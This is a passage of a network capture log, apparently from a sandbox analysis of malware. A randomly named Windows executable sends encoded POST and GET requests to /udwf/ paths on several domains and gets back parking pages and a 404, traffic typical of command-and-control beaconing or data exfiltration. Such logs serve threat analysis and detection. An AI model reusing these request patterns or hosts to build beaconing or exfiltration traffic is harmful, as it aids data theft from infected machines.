G0Yxd2Q=U4Z6tm4FxojtGb+nsJT4QUskQ8ysITgCIoKa7hvpoTAipexxKf9AQvBVFDwrgf0LaIeNpk+PcD2pp9z9IRZ90DwMk0v4ELB0UIcU2L28OD5I2QmxfklaWJ0MtMTn9kVth/kmtMlroxVnmM9uJtdFf+8oAqVhos4a/iltHDVVU+s5IyWMdEpMbQEw0xn8OGD+PayCM5M=
Nov 10, 2023 09:28:33.343295097 CET	194	IN	HTTP/1.1 200 OK date: Fri, 10 Nov 2023 08:28:32 GMT content-type: text/html; charset=utf-8 content-length: 1109 x-request-id: 5ffef964-b789-4de2-96a6-a6e5facc98bb cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_utrfvT18rLbkeWw3m+7aR4sW5K9D3ILMt3IRjGq+Uvf2ZaEZaFIKFbYzks2ocpn/4rY4FmPl0q6B7hNzo7390w== set-cookie: parking_session=5ffef964-b789-4de2-96a6-a6e5facc98bb; expires=Fri, 10 Nov 2023 08:43:33 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 75 74 72 66 76 54 31 38 72 4c 62 6b 65 57 77 33 6d 2b 37 61 52 34 73 57 35 4b 39 44 33 49 4c 4d 74 33 49 52 6a 47 71 2b 55 76 66 32 5a 61 45 5a 61 46 49 4b 46 62 59 7a 6b 73 32 6f 63 70 6e 2f 34 72 59 34 46 6d 50 6c 30 71 36 42 37 68 4e 7a 6f 37 33 39 30 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 41 45 41 41 41 41 42 43 41 49 41 41 41 43 51 64 31 50 65 41 41 41 41 44 45 6c 45 51 56 51 49 31 32 50 34 2f 2f 38 2f 41 41 58 2b 41 76 37 63 7a 46 6e 6e 41 41 41 41 41 45 6c 46 54 6b Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_utrfvT18rLbkeWw3m+7aR4sW5K9D3ILMt3IRjGq+Uvf2ZaEZaFIKFbYzks2ocpn/4rY4FmPl0q6B7hNzo7390w==" lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTk
Nov 10, 2023 09:28:33.343338013 CET	194	IN	Data Raw: 53 75 51 6d 43 43 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 Data Ascii: SuQmCC"> <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiNWZmZWY5NjQtYjc4OS00ZGUyLTk2YTYtYTZlNWZhY2M5OGJiIiwicGFnZV90aW1lIjoxNjk

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.10	49730	199.59.243.225	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
Nov 10, 2023 09:28:35.810514927 CET	197	OUT	POST /udwf/ HTTP/1.1 Host: www.diabloseugene.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Origin: http://www.diabloseugene.com Referer: http://www.diabloseugene.com/udwf/ Content-Type: application/x-www-form-urlencoded Content-Length: 1220 Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 47 30 59 78 64 32 51 3d 55 34 5a 36 74 6d 34 46 78 6f 6a 74 47 62 2b 6e 73 4a 54 34 51 55 73 6b 51 38 79 73 49 54 67 43 49 6f 4b 61 37 68 76 70 6f 51 67 69 6f 73 35 78 4c 35 31 41 52 76 42 56 4d 6a 78 73 67 66 30 61 61 4a 32 42 70 6b 7a 34 63 42 65 70 76 66 4c 39 42 45 31 39 76 7a 77 4d 37 45 76 6c 41 4c 42 39 55 49 4d 51 32 4c 6d 38 4f 44 35 49 32 53 2b 78 59 31 6c 61 47 35 30 50 39 63 53 6d 35 6b 56 4a 68 2f 39 62 74 4d 67 4a 70 46 5a 6e 6d 73 74 75 4c 62 78 46 58 2b 38 6d 46 71 56 35 6f 74 45 52 2f 69 35 68 48 48 55 34 55 38 38 35 4c 48 75 62 5a 48 5a 4a 4f 79 38 56 72 43 6a 6a 44 42 75 75 4c 59 65 62 55 66 4a 4c 34 52 77 4b 68 4b 53 6d 58 44 76 2f 6e 53 65 57 4b 71 79 57 44 6f 73 6c 6d 75 72 44 38 75 75 6c 6d 55 41 55 72 52 35 4b 44 33 4b 7a 6d 35 6b 62 50 31 45 65 58 49 46 47 64 32 50 38 42 39 6c 4d 7a 43 37 32 43 70 66 44 6d 6a 47 4b 7a 6e 42 6a 4a 46 38 52 76 4d 44 41 6d 54 4b 71 33 51 67 6a 65 50 67 77 4e 59 6c 62 65 41 2b 4f 49 6e 43 56 61 63 6e 2f 72 50 68 34 36 49 68 33 76 43 4a 4c 75 33 35 53 52 33 49 32 6c 66 71 6f 4c 6c 72 6f 51 39 59 77 5a 7a 59 4b 62 56 77 36 6e 31 79 75 6f 45 72 67 37 77 71 4a 74 75 31 2b 44 70 36 6c 58 75 52 75 38 6b 4f 71 71 58 58 50 6c 4d 78 68 6f 52 6a 51 62 59 38 6f 76 48 76 32 68 71 30 61 49 73 51 35 34 32 55 41 66 4d 56 68 78 45 70 41 2b 6d 75 55 42 6f 4b 53 5a 41 5a 78 43 59 69 64 74 2b 56 73 45 67 74 4b 6e 62 37 67 33 52 4c 56 30 64 66 73 42 4b 31 7a 39 71 61 6f 4f 51 67 52 6b 49 42 58 48 36 70 55 35 63 62 62 78 61 4e 4e 4b 69 74 45 6d 79 31 66 63 4f 79 49 56 4f 57 38 4d 52 33 64 39 72 4a 4d 72 38 38 51 4c 5a 68 45 67 79 53 4d 75 77 38 4f 49 68 46 71 55 6c 62 61 71 70 74 72 54 56 2b 71 4c 34 58 79 74 45 32 79 43 6d 4c 56 56 6b 57 64 4b 39 64 46 68 48 6f 4b 48 66 6b 6c 64 41 64 2b 4f 4f 55 31 6b 48 6e 4a 48 46 69 74 49 76 6a 44 35 7a 67 61 6c 44 67 47 47 6d 6c 48 52 6e 75 74 47 49 69 5a 4b 37 48 6e 68 4a 75 73 54 7a 2f 75 74 42 57 4c 71 45 6c 52 59 68 4a 32 51 6a 56 78 4e 6e 50 55 45 43 33 78 76 39 65 63 72 44 32 73 6a 34 71 4c 53 73 71 4a 37 59 6b 46 75 4d 36 56 59 2f 34 52 66 33 52 5a 4b 6c 2b 63 77 54 61 31 48 6a 57 6e 6b 70 6c 4d 70 68 76 78 54 73 79 31 69 58 71 71 53 47 6c 54 32 6b 6e 56 35 2b 73 6f 48 6e 2f 6e 52 47 34 77 57 55 51 71 32 6e 30 53 6a 78 70 65 74 42 65 42 2f 58 78 37 4a 4c 4e 6e 4d 44 2b 72 77 30 62 64 56 47 53 30 45 4e 71 63 52 4f 2b 38 6c 38 51 36 5a 71 64 61 64 62 62 6b 59 66 39 2f 50 6d 49 6d 46 61 50 57 41 34 49 66 55 52 6b 6b 6c 5a 79 56 4b 57 79 38 31 53 50 31 53 34 76 36 58 77 6b 53 31 67 77 2b 4b 5a 75 42 52 4f 4c 70 4c 78 76 45 38 69 31 6f 2b 77 4f 45 67 51 79 33 76 41 64 50 59 56 68 39 6e 64 5a 76 32 4d 39 52 31 31 69 55 59 41 71 41 35 58 62 31 43 6b 30 64 6b 56 59 2f 49 36 48 41 6f 55 54 41 33 4f 45 39 44 73 47 41 6c 6a 6c 38 76 57 30 34 4e 75 53 70 55 61 4a 31 41 44 32 4c 4b 72 45 68 31 64 33 41 69 57 54 36 43 79 66 6e 55 52 45 45 73 30 69 33 45 62 76 6c 5a 37 4d 47 61 4e 77 69 70 75 4c 4f 65 76 42 77 4e 4b 35 73 46 52 72 70 67 48 79 76 79 38 2b 64 35 50 71 72 2f 50 58 30 66 4d 54 68 52 34 68 31 6c 6b 75 57 54 4b 78 57 39 4e 46 4d 4c 48 47 52 39 35 46 75 36 46 56 54 6c 6a 2f 6d 4c 48 75 67 49 78 71 53 2b 79 38 31 37 70 35 67 34 2f 45 67 48 2b 63 45 53 43 54 39 6e 35 67 74 68 79 6b 5a 6d 79 46 4b 37 43 31 62 4d 59 61 5a 50 6f 71 65 4a 66 44 33 51 4d 6d 49 44 39 79 57 75 67 33 52 44 5a 56 75 79 74 59 79 7a 6c 49 50 70 50 61 46 43 50 6e 58 45 33 7a 4f 77 50 36 32 30 51 33 45 48 70 4b 63 42 45 44 45 59 7a 4c 38 35 74 4f 6d 74 78 53 50 6f 71 39 52 77 66 63 51 39 42 36 41 7a 47 6d 6d 59 70 2b 31 6e 6d 37 57 52 57 6c 30 38 55 7a 6b 74 70 64 4b 48 4e 6e 5a 32 38 66 68 6d 37 4a 6b 72 45 50 79 30 73 69 4d 38 67 33 6c 39 47 6d 4e Data Ascii: G0Yxd2Q=U4Z6tm4FxojtGb+nsJT4QUskQ8ysITgCIoKa7hvpoQgios5xL51ARvBVMjxsgf0aaJ2Bpkz4cBepvfL9BE19vzwM7EvlALB9UIMQ2Lm8OD5I2S+xY1laG50P9cSm5kVJh/9btMgJpFZnmstuLbxFX+8mFqV5otER/i5hHHU4U885LHubZHZJOy8VrCjjDBuuLYebUfJL4RwKhKSmXDv/nSeWKqyWDoslmurD8uulmUAUrR5KD3Kzm5kbP1EeXIFGd2P8B9lMzC72CpfDmjGKznBjJF8RvMDAmTKq3QgjePgwNYlbeA+OInCVacn/rPh46Ih3vCJLu35SR3I2lfqoLlroQ9YwZzYKbVw6n1yuoErg7wqJtu1+Dp6lXuRu8kOqqXXPlMxhoRjQbY8ovHv2hq0aIsQ542UAfMVhxEpA+muUBoKSZAZxCYidt+VsEgtKnb7g3RLV0dfsBK1z9qaoOQgRkIBXH6pU5cbbxaNNKitEmy1fcOyIVOW8MR3d9rJMr88QLZhEgySMuw8OIhFqUlbaqptrTV+qL4XytE2yCmLVVkWdK9dFhHoKHfkldAd+OOU1kHnJHFitIvjD5zgalDgGGmlHRnutGIiZK7HnhJusTz/utBWLqElRYhJ2QjVxNnPUEC3xv9ecrD2sj4qLSsqJ7YkFuM6VY/4Rf3RZKl+cwTa1HjWnkplMphvxTsy1iXqqSGlT2knV5+soHn/nRG4wWUQq2n0SjxpetBeB/Xx7JLNnMD+rw0bdVGS0ENqcRO+8l8Q6ZqdadbbkYf9/PmImFaPWA4IfURkklZyVKWy81SP1S4v6XwkS1gw+KZuBROLpLxvE8i1o+wOEgQy3vAdPYVh9ndZv2M9R11iUYAqA5Xb1Ck0dkVY/I6HAoUTA3OE9DsGAljl8vW04NuSpUaJ1AD2LKrEh1d3AiWT6CyfnUREEs0i3EbvlZ7MGaNwipuLOevBwNK5sFRrpgHyvy8+d5Pqr/PX0fMThR4h1lkuWTKxW9NFMLHGR95Fu6FVTlj/mLHugIxqS+y817p5g4/EgH+cESCT9n5gthykZmyFK7C1bMYaZPoqeJfD3QMmID9yWug3RDZVuytYyzlIPpPaFCPnXE3zOwP620Q3EHpKcBEDEYzL85tOmtxSPoq9RwfcQ9B6AzGmmYp+1nm7WRWl08UzktpdKHNnZ28fhm7JkrEPy0siM8g3l9GmN
Nov 10, 2023 09:28:36.084145069 CET	198	IN	HTTP/1.1 200 OK date: Fri, 10 Nov 2023 08:28:35 GMT content-type: text/html; charset=utf-8 content-length: 1109 x-request-id: f0f8da48-c0bd-4ffa-9dd2-36b75af5a4f0 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_utrfvT18rLbkeWw3m+7aR4sW5K9D3ILMt3IRjGq+Uvf2ZaEZaFIKFbYzks2ocpn/4rY4FmPl0q6B7hNzo7390w== set-cookie: parking_session=f0f8da48-c0bd-4ffa-9dd2-36b75af5a4f0; expires=Fri, 10 Nov 2023 08:43:35 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 75 74 72 66 76 54 31 38 72 4c 62 6b 65 57 77 33 6d 2b 37 61 52 34 73 57 35 4b 39 44 33 49 4c 4d 74 33 49 52 6a 47 71 2b 55 76 66 32 5a 61 45 5a 61 46 49 4b 46 62 59 7a 6b 73 32 6f 63 70 6e 2f 34 72 59 34 46 6d 50 6c 30 71 36 42 37 68 4e 7a 6f 37 33 39 30 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 41 45 41 41 41 41 42 43 41 49 41 41 41 43 51 64 31 50 65 41 41 41 41 44 45 6c 45 51 56 51 49 31 32 50 34 2f 2f 38 2f 41 41 58 2b 41 76 37 63 7a 46 6e 6e 41 41 41 41 41 45 6c 46 54 6b Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_utrfvT18rLbkeWw3m+7aR4sW5K9D3ILMt3IRjGq+Uvf2ZaEZaFIKFbYzks2ocpn/4rY4FmPl0q6B7hNzo7390w==" lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTk
Nov 10, 2023 09:28:36.084173918 CET	199	IN	Data Raw: 53 75 51 6d 43 43 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 Data Ascii: SuQmCC"> <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiZjBmOGRhNDgtYzBiZC00ZmZhLTlkZDItMzZiNzVhZjVhNGYwIiwicGFnZV90aW1lIjoxNjk

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.10	49731	199.59.243.225	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
Nov 10, 2023 09:28:38.482089043 CET	200	OUT	GET /udwf/?G0Yxd2Q=Z6xauRs66pTCKL+KzoyNUFozWOf0JDAANa247hz++z0llrRDJuB/QadTAD9i3swhMbuTmmXjFgWivfbmORZNoncA7F7QHJ1+AA==&vhQT=aV8PeNo0MvDl1 HTTP/1.1 Host: www.diabloseugene.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Nov 10, 2023 09:28:38.750719070 CET	201	IN	HTTP/1.1 200 OK date: Fri, 10 Nov 2023 08:28:37 GMT content-type: text/html; charset=utf-8 content-length: 1409 x-request-id: 9e5c3718-e18e-4436-b653-0e660b594865 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_XXSFtrj/Leu/y185Xp21xCUpFSO1GnNJqoJVnoz/61k7l2zuTl+e3OgoxMgGsxYpYKk4IjLOQG75FHUn2X/MZg== set-cookie: parking_session=9e5c3718-e18e-4436-b653-0e660b594865; expires=Fri, 10 Nov 2023 08:43:38 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 58 58 53 46 74 72 6a 2f 4c 65 75 2f 79 31 38 35 58 70 32 31 78 43 55 70 46 53 4f 31 47 6e 4e 4a 71 6f 4a 56 6e 6f 7a 2f 36 31 6b 37 6c 32 7a 75 54 6c 2b 65 33 4f 67 6f 78 4d 67 47 73 78 59 70 59 4b 6b 34 49 6a 4c 4f 51 47 37 35 46 48 55 6e 32 58 2f 4d 5a 67 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 41 45 41 41 41 41 42 43 41 49 41 41 41 43 51 64 31 50 65 41 41 41 41 44 45 6c 45 51 56 51 49 31 32 50 34 2f 2f 38 2f 41 41 58 2b 41 76 37 63 7a 46 6e 6e 41 41 41 41 41 45 6c 46 54 6b Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_XXSFtrj/Leu/y185Xp21xCUpFSO1GnNJqoJVnoz/61k7l2zuTl+e3OgoxMgGsxYpYKk4IjLOQG75FHUn2X/MZg==" lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTk
Nov 10, 2023 09:28:38.750745058 CET	202	IN	Data Raw: 53 75 51 6d 43 43 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 Data Ascii: SuQmCC"> <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiOWU1YzM3MTgtZTE4ZS00NDM2LWI2NTMtMGU2NjBiNTk0ODY1IiwicGFnZV90aW1lIjoxNjk

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.10	49732	162.0.222.119	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
Nov 10, 2023 09:28:44.188903093 CET	203	OUT	POST /udwf/ HTTP/1.1 Host: www.spark-tech-global.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Origin: http://www.spark-tech-global.xyz Referer: http://www.spark-tech-global.xyz/udwf/ Content-Type: application/x-www-form-urlencoded Content-Length: 188 Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 47 30 59 78 64 32 51 3d 6b 64 69 4f 39 64 46 4c 6b 33 66 48 45 70 54 6d 61 37 30 66 52 5a 75 57 2f 45 32 70 49 34 45 71 6f 71 77 6f 75 74 73 61 64 49 4b 38 34 66 6e 47 4c 31 4c 33 48 49 51 34 62 47 66 4a 53 79 6e 6d 73 6b 33 31 33 66 75 78 39 71 55 5a 37 34 33 6c 73 38 4b 6a 78 62 31 69 4d 7a 58 6e 4c 63 76 5a 67 38 50 49 6f 46 4f 39 47 37 43 77 41 46 31 58 69 2b 6d 67 74 59 31 54 7a 46 68 63 2b 57 58 37 6b 73 39 51 4d 7a 4e 47 47 46 44 4d 58 39 49 65 6f 48 6f 6a 56 32 58 6a 4d 34 52 44 35 4f 6c 6a 7a 6c 73 61 47 37 61 4e 46 63 78 52 67 44 35 45 6b 41 3d 3d Data Ascii: G0Yxd2Q=kdiO9dFLk3fHEpTma70fRZuW/E2pI4EqoqwoutsadIK84fnGL1L3HIQ4bGfJSynmsk313fux9qUZ743ls8Kjxb1iMzXnLcvZg8PIoFO9G7CwAF1Xi+mgtY1TzFhc+WX7ks9QMzNGGFDMX9IeoHojV2XjM4RD5OljzlsaG7aNFcxRgD5EkA==
Nov 10, 2023 09:28:44.492309093 CET	204	IN	HTTP/1.1 404 Not Found Date: Fri, 10 Nov 2023 08:28:44 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.10	49733	162.0.222.119	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
